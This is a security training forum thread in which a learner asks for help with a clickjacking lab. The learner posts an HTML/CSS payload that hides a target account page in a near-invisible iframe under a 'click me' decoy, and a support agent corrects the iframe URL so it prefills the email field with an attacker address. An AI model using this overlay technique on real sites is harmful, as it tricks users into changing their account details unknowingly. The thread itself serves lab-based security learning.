Research Academy
My account Customers About Blog Careers Legal Contact Resellers

Burp Suite User Forum

Create new post

Lab: Clickjacking with form input data prefilled from a URL parameter

jack | Last updated: Aug 09, 2022 08:30PM UTC

i have done what i think is all the correct details in the lab and came out with this script that covers the change me box with click me box, but i can not get the lab to give me a congratulations banner, oviously im doing somthing wrong, could someone please tell me where i am going wrong with this script <style> iframe { position:relative; width:700px; height: 500px; opacity: 0.0001; z-index: 2; } div { position:absolute; top: 450px; left: 80px; z-index: 1; } </style> <div>click me</div> <iframe src="https://0ab000600316c712c0a025ad00e.web-security-academy.net/my-account?id=wiener"></iframe> thank you

Ben, PortSwigger Agent | Last updated: Aug 10, 2022 07:12AM UTC

Hi Jack, Your iframe src value does not appear to be correct - it should be something similar to below: <iframe src="https:///ab000600316c712c0a025ad00e.web-security-academy.net/my-account?email=hacker@attacker-website.com"></iframe>

You must be an existing, logged-in customer to reply to a thread. Please email us for additional support.